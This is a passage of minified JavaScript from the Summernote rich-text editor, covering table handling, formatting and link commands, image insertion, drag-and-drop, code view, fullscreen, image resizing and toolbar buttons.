l=a.colSpan?parseInt(a.colSpan,10):0;l>2?(l--,a.setAttribute("colSpan",l),a.cellIndex===i&&(a.innerHTML="")):2===l&&(a.removeAttribute("colSpan"),a.cellIndex===i&&(a.innerHTML=""))}continue;case Mt.resultAction.RemoveCell:Nt.remove(r[s].baseCell,!0);continue}},e.prototype.createTable=function(e,o,n){for(var i,r=[],s=0;s<e;s++)r.push("<td>"+Nt.blank+"</td>");i=r.join("");for(var a,l=[],c=0;c<o;c++)l.push("<tr>"+i+"</tr>");a=l.join("");var d=t("<table>"+a+"</table>");return n&&n.tableClassName&&d.addClass(n.tableClassName),d[0]},e.prototype.deleteTable=function(e){var o=Nt.ancestor(e.commonAncestor(),Nt.isCell);t(o).closest("table").remove()},e}(),jt=function(){function e(e){var o=this;this.context=e,this.$note=e.layoutInfo.note,this.$editor=e.layoutInfo.editor,this.$editable=e.layoutInfo.editable,this.options=e.options,this.lang=this.options.langInfo,this.editable=this.$editable[0],this.lastRange=null,this.style=new Ft,this.table=new Ut,this.typing=new zt,this.bullet=new Bt,this.history=new Dt(this.$editable),this.context.memo("help.undo",this.lang.help.undo),this.context.memo("help.redo",this.lang.help.redo),this.context.memo("help.tab",this.lang.help.tab),this.context.memo("help.untab",this.lang.help.untab),this.context.memo("help.insertParagraph",this.lang.help.insertParagraph),this.context.memo("help.insertOrderedList",this.lang.help.insertOrderedList),this.context.memo("help.insertUnorderedList",this.lang.help.insertUnorderedList),this.context.memo("help.indent",this.lang.help.indent),this.context.memo("help.outdent",this.lang.help.outdent),this.context.memo("help.formatPara",this.lang.help.formatPara),this.context.memo("help.insertHorizontalRule",this.lang.help.insertHorizontalRule),this.context.memo("help.fontName",this.lang.help.fontName);for(var n=["bold","italic","underline","strikethrough","superscript","subscript","justifyLeft","justifyCenter","justifyRight","justifyFull","formatBlock","removeFormat","backColor"],i=0,r=n.length;i<r;i++)this[n[i]]=function(t){return function(e){o.beforeCommand(),document.execCommand(t,!1,e),o.afterCommand(!0)}}(n[i]),this.context.memo("help."+n[i],this.lang.help[n[i]]);this.fontName=this.wrapCommand(function(t){return o.fontStyling("font-family","'"+t+"'")}),this.fontSize=this.wrapCommand(function(t){return o.fontStyling("font-size",t+"px")});for(i=1;i<=6;i++)this["formatH"+i]=function(t){return function(){o.formatBlock("H"+t)}}(i),this.context.memo("help.formatH"+i,this.lang.help["formatH"+i]);this.insertParagraph=this.wrapCommand(function(){o.typing.insertParagraph(o.editable)}),this.insertOrderedList=this.wrapCommand(function(){o.bullet.insertOrderedList(o.editable)}),this.insertUnorderedList=this.wrapCommand(function(){o.bullet.insertUnorderedList(o.editable)}),this.indent=this.wrapCommand(function(){o.bullet.indent(o.editable)}),this.outdent=this.wrapCommand(function(){o.bullet.outdent(o.editable)}),this.insertNode=this.wrapCommand(function(e){o.isLimited(t(e).text().length)||(o.createRange().insertNode(e),Ht.createFromNodeAfter(e).select())}),this.insertText=this.wrapCommand(function(t){if(!o.isLimited(t.length)){var e=o.createRange().insertNode(Nt.createText(t));Ht.create(e,Nt.nodeLength(e)).select()}}),this.pasteHTML=this.wrapCommand(function(t){if(!o.isLimited(t.length)){var e=o.createRange().pasteHTML(t);Ht.createFromNodeAfter(N.last(e)).select()}}),this.formatBlock=this.wrapCommand(function(t,e){var n=o.options.callbacks.onApplyCustomStyle;n?n.call(o,e,o.context,o.onFormatBlock):o.onFormatBlock(t,e)}),this.insertHorizontalRule=this.wrapCommand(function(){var t=o.createRange().insertNode(Nt.create("HR"));t.nextSibling&&Ht.create(t.nextSibling,0).normalize().select()}),this.lineHeight=this.wrapCommand(function(t){o.style.stylePara(o.createRange(),{lineHeight:t})}),this.createLink=this.wrapCommand(function(e){var n=e.url,i=e.text,r=e.isNewWindow,s=e.range||o.createRange(),a=s.toString()!==i;"string"==typeof n&&(n=n.trim()),n=o.options.onCreateLink?o.options.onCreateLink(n):/^[A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?/.test(n)?n:"http://"+n;var l=[];if(a){var c=(s=s.deleteContents()).insertNode(t("<A>"+i+"</A>")[0]);l.push(c)}else l=o.style.styleNodes(s,{nodeName:"A",expandClosestSibling:!0,onlyPartialContains:!0});t.each(l,function(e,o){t(o).attr("href",n),r?t(o).attr("target","_blank"):t(o).removeAttr("target")});var d=Ht.createFromNodeBefore(N.head(l)).getStartPoint(),u=Ht.createFromNodeAfter(N.last(l)).getEndPoint();Ht.create(d.node,d.offset,u.node,u.offset).select()}),this.color=this.wrapCommand(function(t){var e=t.foreColor,o=t.backColor;e&&document.execCommand("foreColor",!1,e),o&&document.execCommand("backColor",!1,o)}),this.foreColor=this.wrapCommand(function(t){document.execCommand("styleWithCSS",!1,!0),document.execCommand("foreColor",!1,t)}),this.insertTable=this.wrapCommand(function(t){var e=t.split("x");o.createRange().deleteContents().insertNode(o.table.createTable(e[0],e[1],o.options))}),this.removeMedia=this.wrapCommand(function(){var e=t(o.restoreTarget()).parent();e.parent("figure").length?e.parent("figure").remove():e=t(o.restoreTarget()).detach(),o.context.triggerEvent("media.delete",e,o.$editable)}),this.floatMe=this.wrapCommand(function(e){var n=t(o.restoreTarget());n.toggleClass("note-float-left","left"===e),n.toggleClass("note-float-right","right"===e),n.css("float",e)}),this.resize=this.wrapCommand(function(e){t(o.restoreTarget()).css({width:100*e+"%",height:""})})}return e.prototype.initialize=function(){var t=this;this.$editable.on("keydown",function(e){if(e.keyCode===At.code.ENTER&&t.context.triggerEvent("enter",e),t.context.triggerEvent("keydown",e),e.isDefaultPrevented()||(t.options.shortcuts?t.handleKeyMap(e):t.preventDefaultEditableShortCuts(e)),t.isLimited(1,e))return!1}).on("keyup",function(e){t.context.triggerEvent("keyup",e)}).on("focus",function(e){t.context.triggerEvent("focus",e)}).on("blur",function(e){t.context.triggerEvent("blur",e)}).on("mousedown",function(e){t.context.triggerEvent("mousedown",e)}).on("mouseup",function(e){t.context.triggerEvent("mouseup",e)}).on("scroll",function(e){t.context.triggerEvent("scroll",e)}).on("paste",function(e){t.context.triggerEvent("paste",e)}),this.$editable.html(Nt.html(this.$note)||Nt.emptyPara),this.$editable.on(z.inputEventName,C.debounce(function(){t.context.triggerEvent("change",t.$editable.html())},100)),this.$editor.on("focusin",function(e){t.context.triggerEvent("focusin",e)}).on("focusout",function(e){t.context.triggerEvent("focusout",e)}),this.options.airMode||(this.options.width&&this.$editor.outerWidth(this.options.width),this.options.height&&this.$editable.outerHeight(this.options.height),this.options.maxHeight&&this.$editable.css("max-height",this.options.maxHeight),this.options.minHeight&&this.$editable.css("min-height",this.options.minHeight)),this.history.recordUndo()},e.prototype.destroy=function(){this.$editable.off()},e.prototype.handleKeyMap=function(t){var e=this.options.keyMap[z.isMac?"mac":"pc"],o=[];t.metaKey&&o.push("CMD"),t.ctrlKey&&!t.altKey&&o.push("CTRL"),t.shiftKey&&o.push("SHIFT");var n=At.nameFromCode[t.keyCode];n&&o.push(n);var i=e[o.join("+")];i?!1!==this.context.invoke(i)&&t.preventDefault():At.isEdit(t.keyCode)&&this.afterCommand()},e.prototype.preventDefaultEditableShortCuts=function(t){(t.ctrlKey||t.metaKey)&&N.contains([66,73,85],t.keyCode)&&t.preventDefault()},e.prototype.isLimited=function(t,e){return t=t||0,(void 0===e||!(At.isMove(e.keyCode)||e.ctrlKey||e.metaKey||N.contains([At.code.BACKSPACE,At.code.DELETE],e.keyCode)))&&(this.options.maxTextLength>0&&this.$editable.text().length+t>=this.options.maxTextLength)},e.prototype.createRange=function(){return this.focus(),Ht.create(this.editable)},e.prototype.saveRange=function(t){this.lastRange=this.createRange(),t&&this.lastRange.collapse().select()},e.prototype.restoreRange=function(){this.lastRange&&(this.lastRange.select(),this.focus())},e.prototype.saveTarget=function(t){this.$editable.data("target",t)},e.prototype.clearTarget=function(){this.$editable.removeData("target")},e.prototype.restoreTarget=function(){return this.$editable.data("target")},e.prototype.currentStyle=function(){var t=Ht.create();return t&&(t=t.normalize()),t?this.style.current(t):this.style.fromNode(this.$editable)},e.prototype.styleFromNode=function(t){return this.style.fromNode(t)},e.prototype.undo=function(){this.context.triggerEvent("before.command",this.$editable.html()),this.history.undo(),this.context.triggerEvent("change",this.$editable.html())},e.prototype.redo=function(){this.context.triggerEvent("before.command",this.$editable.html()),this.history.redo(),this.context.triggerEvent("change",this.$editable.html())},e.prototype.beforeCommand=function(){this.context.triggerEvent("before.command",this.$editable.html()),this.focus()},e.prototype.afterCommand=function(t){this.normalizeContent(),this.history.recordUndo(),t||this.context.triggerEvent("change",this.$editable.html())},e.prototype.tab=function(){var t=this.createRange();if(t.isCollapsed()&&t.isOnCell())this.table.tab(t);else{if(0===this.options.tabSize)return!1;this.isLimited(this.options.tabSize)||(this.beforeCommand(),this.typing.insertTab(t,this.options.tabSize),this.afterCommand())}},e.prototype.untab=function(){var t=this.createRange();if(t.isCollapsed()&&t.isOnCell())this.table.tab(t,!0);else if(0===this.options.tabSize)return!1},e.prototype.wrapCommand=function(t){var e=this;return function(){e.beforeCommand(),t.apply(e,arguments),e.afterCommand()}},e.prototype.insertImage=function(e,o){var n,i=this;return(n=e,t.Deferred(function(e){var o=t("<img>");o.one("load",function(){o.off("error abort"),e.resolve(o)}).one("error abort",function(){o.off("load").detach(),e.reject(o)}).css({display:"none"}).appendTo(document.body).attr("src",n)}).promise()).then(function(t){i.beforeCommand(),"function"==typeof o?o(t):("string"==typeof o&&t.attr("data-filename",o),t.css("width",Math.min(i.$editable.width(),t.width()))),t.show(),Ht.create(i.editable).insertNode(t[0]),Ht.createFromNodeAfter(t[0]).select(),i.afterCommand()}).fail(function(t){i.context.triggerEvent("image.upload.error",t)})},e.prototype.insertImages=function(e){var o=this;t.each(e,function(e,n){var i,r=n.name;o.options.maximumImageFileSize&&o.options.maximumImageFileSize<n.size?o.context.triggerEvent("image.upload.error",o.lang.image.maximumFileSizeError):(i=n,t.Deferred(function(e){t.extend(new FileReader,{onload:function(t){var o=t.target.result;e.resolve(o)},onerror:function(t){e.reject(t)}}).readAsDataURL(i)}).promise()).then(function(t){return o.insertImage(t,r)}).fail(function(){o.context.triggerEvent("image.upload.error")})})},e.prototype.insertImagesOrCallback=function(t){this.options.callbacks.onImageUpload?this.context.triggerEvent("image.upload",t):this.insertImages(t)},e.prototype.getSelectedText=function(){var t=this.createRange();return t.isOnAnchor()&&(t=Ht.createFromNode(Nt.ancestor(t.sc,Nt.isAnchor))),t.toString()},e.prototype.onFormatBlock=function(e,o){if(e=z.isMSIE?"<"+e+">":e,document.execCommand("FormatBlock",!1,e),o&&o.length){var n=o[0].className||"";if(n){var i=this.createRange();t([i.sc,i.ec]).closest(e).addClass(n)}}},e.prototype.formatPara=function(){this.formatBlock("P")},e.prototype.fontStyling=function(e,o){var n=this.createRange();if(n){var i=this.style.styleNodes(n);if(t(i).css(e,o),n.isCollapsed()){var r=N.head(i);r&&!Nt.nodeLength(r)&&(r.innerHTML=Nt.ZERO_WIDTH_NBSP_CHAR,Ht.createFromNodeAfter(r.firstChild).select(),this.$editable.data("bogus",r))}}},e.prototype.unlink=function(){var t=this.createRange();if(t.isOnAnchor()){var e=Nt.ancestor(t.sc,Nt.isAnchor);(t=Ht.createFromNode(e)).select(),this.beforeCommand(),document.execCommand("unlink"),this.afterCommand()}},e.prototype.getLinkInfo=function(){var e=this.createRange().expand(Nt.isAnchor),o=t(N.head(e.nodes(Nt.isAnchor))),n={range:e,text:e.toString(),url:o.length?o.attr("href"):""};return o.length&&(n.isNewWindow="_blank"===o.attr("target")),n},e.prototype.addRow=function(t){var e=this.createRange(this.$editable);e.isCollapsed()&&e.isOnCell()&&(this.beforeCommand(),this.table.addRow(e,t),this.afterCommand())},e.prototype.addCol=function(t){var e=this.createRange(this.$editable);e.isCollapsed()&&e.isOnCell()&&(this.beforeCommand(),this.table.addCol(e,t),this.afterCommand())},e.prototype.deleteRow=function(){var t=this.createRange(this.$editable);t.isCollapsed()&&t.isOnCell()&&(this.beforeCommand(),this.table.deleteRow(t),this.afterCommand())},e.prototype.deleteCol=function(){var t=this.createRange(this.$editable);t.isCollapsed()&&t.isOnCell()&&(this.beforeCommand(),this.table.deleteCol(t),this.afterCommand())},e.prototype.deleteTable=function(){var t=this.createRange(this.$editable);t.isCollapsed()&&t.isOnCell()&&(this.beforeCommand(),this.table.deleteTable(t),this.afterCommand())},e.prototype.resizeTo=function(t,e,o){var n;if(o){var i=t.y/t.x,r=e.data("ratio");n={width:r>i?t.x:t.y/r,height:r>i?t.x*r:t.y}}else n={width:t.x,height:t.y};e.css(n)},e.prototype.hasFocus=function(){return this.$editable.is(":focus")},e.prototype.focus=function(){this.hasFocus()||this.$editable.focus()},e.prototype.isEmpty=function(){return Nt.isEmpty(this.$editable[0])||Nt.emptyPara===this.$editable.html()},e.prototype.empty=function(){this.context.invoke("code",Nt.emptyPara)},e.prototype.normalizeContent=function(){this.$editable[0].normalize()},e}(),qt=function(){function t(t){this.context=t,this.$editable=t.layoutInfo.editable}return t.prototype.initialize=function(){this.$editable.on("paste",this.pasteByEvent.bind(this))},t.prototype.pasteByEvent=function(t){var e=t.originalEvent.clipboardData;if(e&&e.items&&e.items.length){var o=N.head(e.items);"file"===o.kind&&-1!==o.type.indexOf("image/")&&this.context.invoke("editor.insertImagesOrCallback",[o.getAsFile()]),this.context.invoke("editor.afterCommand")}},t}(),Kt=function(){function e(e){this.context=e,this.$eventListener=t(document),this.$editor=e.layoutInfo.editor,this.$editable=e.layoutInfo.editable,this.options=e.options,this.lang=this.options.langInfo,this.documentEventHandlers={},this.$dropzone=t(['<div class="note-dropzone">','  <div class="note-dropzone-message"/>',"</div>"].join("")).prependTo(this.$editor)}return e.prototype.initialize=function(){this.options.disableDragAndDrop?(this.documentEventHandlers.onDrop=function(t){t.preventDefault()},this.$eventListener=this.$dropzone,this.$eventListener.on("drop",this.documentEventHandlers.onDrop)):this.attachDragAndDropEvent()},e.prototype.attachDragAndDropEvent=function(){var e=this,o=t(),n=this.$dropzone.find(".note-dropzone-message");this.documentEventHandlers.onDragenter=function(t){var i=e.context.invoke("codeview.isActivated"),r=e.$editor.width()>0&&e.$editor.height()>0;i||o.length||!r||(e.$editor.addClass("dragover"),e.$dropzone.width(e.$editor.width()),e.$dropzone.height(e.$editor.height()),n.text(e.lang.image.dragImageHere)),o=o.add(t.target)},this.documentEventHandlers.onDragleave=function(t){(o=o.not(t.target)).length||e.$editor.removeClass("dragover")},this.documentEventHandlers.onDrop=function(){o=t(),e.$editor.removeClass("dragover")},this.$eventListener.on("dragenter",this.documentEventHandlers.onDragenter).on("dragleave",this.documentEventHandlers.onDragleave).on("drop",this.documentEventHandlers.onDrop),this.$dropzone.on("dragenter",function(){e.$dropzone.addClass("hover"),n.text(e.lang.image.dropImage)}).on("dragleave",function(){e.$dropzone.removeClass("hover"),n.text(e.lang.image.dragImageHere)}),this.$dropzone.on("drop",function(o){var n=o.originalEvent.dataTransfer;o.preventDefault(),n&&n.files&&n.files.length?(e.$editable.focus(),e.context.invoke("editor.insertImagesOrCallback",n.files)):t.each(n.types,function(o,i){var r=n.getData(i);i.toLowerCase().indexOf("text")>-1?e.context.invoke("editor.pasteHTML",r):t(r).each(function(t,o){e.context.invoke("editor.insertNode",o)})})}).on("dragover",!1)},e.prototype.destroy=function(){var t=this;Object.keys(this.documentEventHandlers).forEach(function(e){t.$eventListener.off(e.substr(2).toLowerCase(),t.documentEventHandlers[e])}),this.documentEventHandlers={}},e}();z.hasCodeMirror&&(z.isSupportAmd?require(["codemirror"],function(t){Ot=t}):Ot=window.CodeMirror);var Vt=function(){function t(t){this.context=t,this.$editor=t.layoutInfo.editor,this.$editable=t.layoutInfo.editable,this.$codable=t.layoutInfo.codable,this.options=t.options}return t.prototype.sync=function(){this.isActivated()&&z.hasCodeMirror&&this.$codable.data("cmEditor").save()},t.prototype.isActivated=function(){return this.$editor.hasClass("codeview")},t.prototype.toggle=function(){this.isActivated()?this.deactivate():this.activate(),this.context.triggerEvent("codeview.toggled")},t.prototype.activate=function(){var t=this;if(this.$codable.val(Nt.html(this.$editable,this.options.prettifyHtml)),this.$codable.height(this.$editable.height()),this.context.invoke("toolbar.updateCodeview",!0),this.$editor.addClass("codeview"),this.$codable.focus(),z.hasCodeMirror){var e=Ot.fromTextArea(this.$codable[0],this.options.codemirror);if(this.options.codemirror.tern){var o=new Ot.TernServer(this.options.codemirror.tern);e.ternServer=o,e.on("cursorActivity",function(t){o.updateArgHints(t)})}e.on("blur",function(o){t.context.triggerEvent("blur.codeview",e.getValue(),o)}),e.setSize(null,this.$editable.outerHeight()),this.$codable.data("cmEditor",e)}else this.$codable.on("blur",function(e){t.context.triggerEvent("blur.codeview",t.$codable.val(),e)})},t.prototype.deactivate=function(){if(z.hasCodeMirror){var t=this.$codable.data("cmEditor");this.$codable.val(t.getValue()),t.toTextArea()}var e=Nt.value(this.$codable,this.options.prettifyHtml)||Nt.emptyPara,o=this.$editable.html()!==e;this.$editable.html(e),this.$editable.height(this.options.height?this.$codable.height():"auto"),this.$editor.removeClass("codeview"),o&&this.context.triggerEvent("change",this.$editable.html(),this.$editable),this.$editable.focus(),this.context.invoke("toolbar.updateCodeview",!1)},t.prototype.destroy=function(){this.isActivated()&&this.deactivate()},t}(),Wt=function(){function e(e){this.$document=t(document),this.$statusbar=e.layoutInfo.statusbar,this.$editable=e.layoutInfo.editable,this.options=e.options}return e.prototype.initialize=function(){var t=this;this.options.airMode||this.options.disableResizeEditor?this.destroy():this.$statusbar.on("mousedown",function(e){e.preventDefault(),e.stopPropagation();var o=t.$editable.offset().top-t.$document.scrollTop(),n=function(e){var n=e.clientY-(o+24);n=t.options.minheight>0?Math.max(n,t.options.minheight):n,n=t.options.maxHeight>0?Math.min(n,t.options.maxHeight):n,t.$editable.height(n)};t.$document.on("mousemove",n).one("mouseup",function(){t.$document.off("mousemove",n)})})},e.prototype.destroy=function(){this.$statusbar.off(),this.$statusbar.addClass("locked")},e}(),Gt=function(){function e(e){var o=this;this.context=e,this.$editor=e.layoutInfo.editor,this.$toolbar=e.layoutInfo.toolbar,this.$editable=e.layoutInfo.editable,this.$codable=e.layoutInfo.codable,this.$window=t(window),this.$scrollbar=t("html, body"),this.onResize=function(){o.resizeTo({h:o.$window.height()-o.$toolbar.outerHeight()})}}return e.prototype.resizeTo=function(t){this.$editable.css("height",t.h),this.$codable.css("height",t.h),this.$codable.data("cmeditor")&&this.$codable.data("cmeditor").setsize(null,t.h)},e.prototype.toggle=function(){this.$editor.toggleClass("fullscreen"),this.isFullscreen()?(this.$editable.data("orgHeight",this.$editable.css("height")),this.$window.on("resize",this.onResize).trigger("resize"),this.$scrollbar.css("overflow","hidden")):(this.$window.off("resize",this.onResize),this.resizeTo({h:this.$editable.data("orgHeight")}),this.$scrollbar.css("overflow","visible")),this.context.invoke("toolbar.updateFullscreen",this.isFullscreen())},e.prototype.isFullscreen=function(){return this.$editor.hasClass("fullscreen")},e}(),_t=function(){function e(e){var o=this;this.context=e,this.$document=t(document),this.$editingArea=e.layoutInfo.editingArea,this.options=e.options,this.lang=this.options.langInfo,this.events={"summernote.mousedown":function(t,e){o.update(e.target)&&e.preventDefault()},"summernote.keyup summernote.scroll summernote.change summernote.dialog.shown":function(){o.update()},"summernote.disable":function(){o.hide()},"summernote.codeview.toggled":function(){o.update()}}}return e.prototype.initialize=function(){var e=this;this.$handle=t(['<div class="note-handle">','<div class="note-control-selection">','<div class="note-control-selection-bg"></div>','<div class="note-control-holder note-control-nw"></div>','<div class="note-control-holder note-control-ne"></div>','<div class="note-control-holder note-control-sw"></div>','<div class="',this.options.disableResizeImage?"note-control-holder":"note-control-sizing",' note-control-se"></div>',this.options.disableResizeImage?"":'<div class="note-control-selection-info"></div>',"</div>","</div>"].join("")).prependTo(this.$editingArea),this.$handle.on("mousedown",function(t){if(Nt.isControlSizing(t.target)){t.preventDefault(),t.stopPropagation();var o=e.$handle.find(".note-control-selection").data("target"),n=o.offset(),i=e.$document.scrollTop(),r=function(t){e.context.invoke("editor.resizeTo",{x:t.clientX-n.left,y:t.clientY-(n.top-i)},o,!t.shiftKey),e.update(o[0])};e.$document.on("mousemove",r).one("mouseup",function(t){t.preventDefault(),e.$document.off("mousemove",r),e.context.invoke("editor.afterCommand")}),o.data("ratio")||o.data("ratio",o.height()/o.width())}}),this.$handle.on("wheel",function(t){t.preventDefault(),e.update()})},e.prototype.destroy=function(){this.$handle.remove()},e.prototype.update=function(e){if(this.context.isDisabled())return!1;var o=Nt.isImg(e),n=this.$handle.find(".note-control-selection");if(this.context.invoke("imagePopover.update",e),o){var i=t(e),r=i.position(),s={left:r.left+parseInt(i.css("marginLeft"),10),top:r.top+parseInt(i.css("marginTop"),10)},a={w:i.outerWidth(!1),h:i.outerHeight(!1)};n.css({display:"block",left:s.left,top:s.top,width:a.w,height:a.h}).data("target",i);var l=new Image;l.src=i.attr("src");var c=a.w+"x"+a.h+" ("+this.lang.image.original+": "+l.width+"x"+l.height+")";n.find(".note-control-selection-info").text(c),this.context.invoke("editor.saveTarget",e)}else this.hide();return o},e.prototype.hide=function(){this.context.invoke("editor.clearTarget"),this.$handle.children().hide()},e}(),Zt=/^([A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?|mailto:[A-Z0-9._%+-]+@)?(www\.)?(.+)$/i,Yt=function(){function e(t){var e=this;this.context=t,this.events={"summernote.keyup":function(t,o){o.isDefaultPrevented()||e.handleKeyup(o)},"summernote.keydown":function(t,o){e.handleKeydown(o)}}}return e.prototype.initialize=function(){this.lastWordRange=null},e.prototype.destroy=function(){this.lastWordRange=null},e.prototype.replace=function(){if(this.lastWordRange){var e=this.lastWordRange.toString(),o=e.match(Zt);if(o&&(o[1]||o[2])){var n=o[1]?e:"http://"+e,i=t("<a />").html(e).attr("href",n)[0];this.lastWordRange.insertNode(i),this.lastWordRange=null,this.context.invoke("editor.focus")}}},e.prototype.handleKeydown=function(t){if(N.contains([At.code.ENTER,At.code.SPACE],t.keyCode)){var e=this.context.invoke("editor.createRange").getWordRange();this.lastWordRange=e}},e.prototype.handleKeyup=function(t){N.contains([At.code.ENTER,At.code.SPACE],t.keyCode)&&this.replace()},e}(),Qt=function(){function t(t){var e=this;this.$note=t.layoutInfo.note,this.events={"summernote.change":function(){e.$note.val(t.invoke("code"))}}}return t.prototype.shouldInitialize=function(){return Nt.isTextarea(this.$note[0])},t}(),Jt=function(){function e(t){var e=this;this.context=t,this.$editingArea=t.layoutInfo.editingArea,this.options=t.options,this.events={"summernote.init summernote.change":function(){e.update()},"summernote.codeview.toggled":function(){e.update()}}}return e.prototype.shouldInitialize=function(){return!!this.options.placeholder},e.prototype.initialize=function(){var e=this;this.$placeholder=t('<div class="note-placeholder">'),this.$placeholder.on("click",function(){e.context.invoke("focus")}).text(this.options.placeholder).prependTo(this.$editingArea),this.update()},e.prototype.destroy=function(){this.$placeholder.remove()},e.prototype.update=function(){var t=!this.context.invoke("codeview.isActivated")&&this.context.invoke("editor.isEmpty");this.$placeholder.toggle(t)},e}(),Xt=function(){function e(e){this.ui=t.summernote.ui,this.context=e,this.$toolbar=e.layoutInfo.toolbar,this.options=e.options,this.lang=this.options.langInfo,this.invertedKeyMap=C.invertObject(this.options.keyMap[z.isMac?"mac":"pc"])}return e.prototype.representShortcut=function(t){var e=this.invertedKeyMap[t];return this.options.shortcuts&&e?(z.isMac&&(e=e.replace("CMD","⌘").replace("SHIFT","⇧"))," ("+(e=e.replace("BACKSLASH","\\").replace("SLASH","/").replace("LEFTBRACKET","[").replace("RIGHTBRACKET","]"))+")"):""},e.prototype.button=function(t){return!this.options.tooltip&&t.tooltip&&delete t.tooltip,t.container=this.options.container,this.ui.button(t)},e.prototype.initialize=function(){this.addToolbarButtons(),this.addImagePopoverButtons(),this.addLinkPopoverButtons(),this.addTablePopoverButtons(),this.fontInstalledMap={}},e.prototype.destroy=function(){delete this.fontInstalledMap},e.prototype.isFontInstalled=function(t){return this.fontInstalledMap.hasOwnProperty(t)||(this.fontInstalledMap[t]=z.isFontInstalled(t)||N.contains(this.options.fontNamesIgnoreCheck,t)),this.fontInstalledMap[t]},e.prototype.isFontDeservedToAdd=function(e){return""!==(e=e.toLowerCase())&&this.isFontInstalled(e)&&-1===t.inArray(e,["sans-serif","serif","monospace","cursive","fantasy"])},e.prototype.addToolbarButtons=function(){var e=this;this.context.memo("button.style",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.magic),e.options),tooltip:e.lang.style.style,data:{toggle:"dropdown"}}),e.ui.dropdown({className:"dropdown-style",items:e.options.styleTags,title:e.lang.style.style,template:function(t){"string"==typeof t&&(t={tag:t,title:e.lang.style.hasOwnProperty(t)?e.lang.style[t]:t});var o=t.tag,n=t.title;return"<"+o+(t.style?' style="'+t.style+'" ':"")+(t.className?' class="'+t.className+'"':"")+">"+n+"</"+o+">"},click:e.context.createInvokeHandler("editor.formatBlock")})]).render()});for(var o=function(t,o){var i=n.options.styleTags[t];n.context.memo("button.style."+i,function(){return e.button({className:"note-btn-style-"+i,contents:'<div data-value="'+i+'">'+i.toUpperCase()+"</div>",tooltip:e.lang.style[i],click:e.context.createInvokeHandler("editor.formatBlock")}).render()})},n=this,i=0,r=this.options.styleTags.length;i<r;i++)o(i);this.context.memo("button.bold",function(){return e.button({className:"note-btn-bold",contents:e.ui.icon(e.options.icons.bold),tooltip:e.lang.font.bold+e.representShortcut("bold"),click:e.context.createInvokeHandlerAndUpdateState("editor.bold")}).render()}),this.context.memo("button.italic",function(){return e.button({className:"note-btn-italic",contents:e.ui.icon(e.options.icons.italic),tooltip:e.lang.font.italic+e.representShortcut("italic"),click:e.context.createInvokeHandlerAndUpdateState("editor.italic")}).render()}),this.context.memo("button.underline",function(){return e.button({className:"note-btn-underline",contents:e.ui.icon(e.options.icons.underline),tooltip:e.lang.font.underline+e.representShortcut("underline"),click:e.context.createInvokeHandlerAndUpdateState("editor.underline")}).render()}),this.context.memo("button.clear",function(){return e.button({contents:e.ui.icon(e.options.icons.eraser),tooltip:e.lang.font.clear+e.representShortcut("removeFormat"),click:e.context.createInvokeHandler("editor.removeFormat")}).render()}),this.context.memo("button.strikethrough",function(){return e.button({className:"note-btn-strikethrough",contents:e.ui.icon(e.options.icons.strikethrough),tooltip:e.lang.font.strikethrough+e.representShortcut("strikethrough"),click:e.context.createInvokeHandlerAndUpdateState("editor.strikethrough")}).render()}),this.context.memo("button.superscript",function(){return e.button({className:"note-btn-superscript",contents:e.ui.icon(e.options.icons.superscript),tooltip:e.lang.font.superscript,click:e.context.createInvokeHandlerAndUpdateState("editor.superscript")}).render()}),this.context.memo("button.subscript",function(){return e.button({className:"note-btn-subscript",contents:e.ui.icon(e.options.icons.subscript),tooltip:e.lang.font.subscript,click:e.context.createInvokeHandlerAndUpdateState("editor.subscript")}).render()}),this.context.memo("button.fontname",function(){var o=e.context.invoke("editor.currentStyle");return t.each(o["font-family"].split(","),function(o,n){n=n.trim().replace(/['"]+/g,""),e.isFontDeservedToAdd(n)&&-1===t.inArray(n,e.options.fontNames)&&e.options.fontNames.push(n)}),e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents('<span class="note-current-fontname"/>',e.options),tooltip:e.lang.font.name,data:{toggle:"dropdown"}}),e.ui.dropdownCheck({className:"dropdown-fontname",checkClassName:e.options.icons.menuCheck,items:e.options.fontNames.filter(e.isFontInstalled.bind(e)),title:e.lang.font.name,template:function(t){return"<span style=\"font-family: '"+t+"'\">"+t+"</span>"},click:e.context.createInvokeHandlerAndUpdateState("editor.fontName")})]).render()}),this.context.memo("button.fontsize",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents('<span class="note-current-fontsize"/>',e.options),tooltip:e.lang.font.size,data:{toggle:"dropdown"}}),e.ui.dropdownCheck({className:"dropdown-fontsize",checkClassName:e.options.icons.menuCheck,items:e.options.fontSizes,title:e.lang.font.size,click:e.context.createInvokeHandlerAndUpdateState("editor.fontSize")})]).render()}),this.context.memo("button.color",function(){return e.ui.buttonGroup({className:"note-color",children:[e.button({className:"note-current-color-button",contents:e.ui.icon(e.options.icons.font+" note-recent-color"),tooltip:e.lang.color.recent,click:function(o){var n=t(o.currentTarget);e.context.invoke("editor.color",{backColor:n.attr("data-backColor"),foreColor:n.attr("data-foreColor")})},callback:function(t){t.find(".note-recent-color").css("background-color","#FFFF00"),t.attr("data-backColor","#FFFF00")}}),e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents("",e.options),tooltip:e.lang.color.more,data:{toggle:"dropdown"}}),e.ui.dropdown({items:['<div class="note-palette">','  <div class="note-palette-title">'+e.lang.color.background+"</div>","  <div>",'    <button type="button" class="note-color-reset btn btn-light" data-event="backColor" data-value="inherit">',e.lang.color.transparent,"    </button>","  </div>",'  <div class="note-holder" data-event="backColor"/>',"</div>",'<div class="note-palette">','  <div class="note-palette-title">'+e.lang.color.foreground+"</div>","  <div>",'    <button type="button" class="note-color-reset btn btn-light" data-event="removeFormat" data-value="foreColor">',e.lang.color.resetToDefault,"    </button>","  </div>",'  <div class="note-holder" data-event="foreColor"/>',"</div>"].join(""),callback:function(o){o.find(".note-holder").each(function(o,n){var i=t(n);i.append(e.ui.palette({colors:e.options.colors,colorsName:e.options.colorsName,eventName:i.data("event"),container:e.options.container,tooltip:e.options.tooltip}).render())})},click:function(o){var n=t(o.target),i=n.data("event"),r=n.data("value");if(i&&r){var 